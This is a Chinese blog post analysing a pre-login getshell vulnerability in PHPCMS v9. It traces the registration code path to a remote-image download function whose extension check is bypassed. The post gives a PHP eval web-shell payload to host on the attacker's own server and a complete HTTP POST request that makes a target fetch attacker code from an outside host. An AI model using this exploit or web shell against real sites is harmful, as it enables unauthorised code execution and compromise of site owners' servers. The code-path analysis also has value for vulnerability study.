phpcms v9前台getshell
没穿底裤发表于 2017-04-10 10:33:00
看到到处都是这个漏洞的利用.加班完这个点看看触发点.主要的问题是
phpcms\modules\member\index.php 130行到140行
//附表信息验证 通过模型获取会员信息
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
//var_dump($_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
}这里加载了两个文件.位于当前目录下的fields中的member_input.class.php。因为这里主要是调用了member_input.
文件的开头就写清楚了
function __construct($modelid) {
$this->db = pc_base::load_model('sitemodel_field_model');
$this->db_pre = $this->db->db_tablepre;
$this->modelid = $modelid;
$this->fields = getcache('model_field_'.$modelid,'model');做一点v9的常识
pc_base::load_model(‘*_model’) 加载数据库模型
pc_base::load_sys_class(‘classname’) 实例化系统类
pc_base::load_app_class(‘classname’,’admin’) 实例化模块类
pc_base::load_sys_func (‘funcfile’) 调用系统函数库
以上是调用模型和实例化对象的四种方法
pc_base::load_model(‘*_model’) 对应加载 根目录\phpcms\model 下面的类文件
pc_base::load_sys_class(‘classname’) 对应加载 根目录\phpcms\libs\classes 下面的文件
pc_base::load_app_class(‘classname’,’admin’) 对应加载 根目录\phpcms\modules\admin\classes 下面的文件
pc_base::load_sys_func (‘funcfile’) 对应加载 根目录\phpcms\libs\functions\因此在member_input.class.php中调用了
\phpcms\model\sitemodel_field_model.class.php
继续查看，发现调用的是
class sitemodel_field_model extends model {
public $table_name = '';
public function __construct() {
$this->db_config = pc_base::load_config('database');
$this->db_setting = 'default';
$this->table_name = 'model_field';
parent::__construct();
}加载了数据库配置.然后读取了表model_field.那么这个流程就是需要从model_field中匹配某些东西。继续跟get函数
function get($data) {
$this->data = $data = trim_script($data);
$model_cache = getcache('member_model', 'commons');
$this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];
$info = array();
$debar_filed = array('catid','title','style','thumb','status','islink','description');
if(is_array($data)) {
foreach($data as $field=>$value) {
if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
$field = safe_replace($field);
$name = $this->fields[$field]['name'];
$minlength = $this->fields[$field]['minlength'];
$maxlength = $this->fields[$field]['maxlength'];
$pattern = $this->fields[$field]['pattern'];
$errortips = $this->fields[$field]['errortips'];
if(empty($errortips)) $errortips = "$name 不符合要求！";
$length = empty($value) ? 0 : strlen($value);
if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符！");
if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
if($maxlength && $length > $maxlength && !$isimport) {
showmessage("$name 不得超过 $maxlength 个字符！");
} else {
str_cut($value, $maxlength);
}
if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复！");
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);
$info[$field] = $value;
}
}
return $info;
}注意观察到
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);
查看formtype其实是edit.查看下edit函数
phpcms\modules\member\fields\editor\input.inc.php
function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
$value = $this->attachment->download('content', $value,$watermark_enable);
return $value;
}发现这里调用了$this->attachment->download
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);
$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}传输到地址经过new_stripslashes处理
function new_stripslashes($string) {
if(!is_array($string)) return stripslashes($string);
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
return $string;
}限制了后缀为$ext = 'gif|jpg|jpeg|bmp|png'。同时限定了传输到必须是网址
("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i"这个是一个实现远程图片自动上传功能的函数，用户提交的content中若有图片地址则自动将远程的地址copy到本地！在清楚content中的图片路径时候采用preg_match_all 正则匹配（红色代码部分），虽然有扩展名的验证但是很容易就能绕过，我们只需要将shell地址修改为：http://mysite/shell.php?1.gif就可以绕过了，mysite是自己的网站地址，如果自己网站下解析php的话那么php内容应该是<?php echo '<?php eval($_POST[cmd]);?>';?> 否则下载后得到的文件内容是空白，copy访问远程文件也像IE一样，访问后取得解析后的内容。
那么整个流程久清楚了..传输modelid起到了决定性的作用.只有在1，2，3，11的时候才会触发edit函数.同时可以赋值content.
POST /index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1
Host: 192.168.87.128
Content-Length: 297
Cache-Control: max-age=0
Origin: http://192.168.87.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.87.128/index.php?m=member&c=index&a=register&siteid=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,es;q=0.6,fr;q=0.4,vi;q=0.2
Cookie: PHPSESSID=h5jo0216vveqr9blnh146tq5q5
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Originating-IP: 127.0.0.1
Connection: close
siteid=1&modelid=2&username=test&password=test123&pwdconfirm=test123&email=test%40qq.com&nickname=test233&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=&info[content]=<img src=http://phpcms.0day5.com/test.txt?.php#.jpg>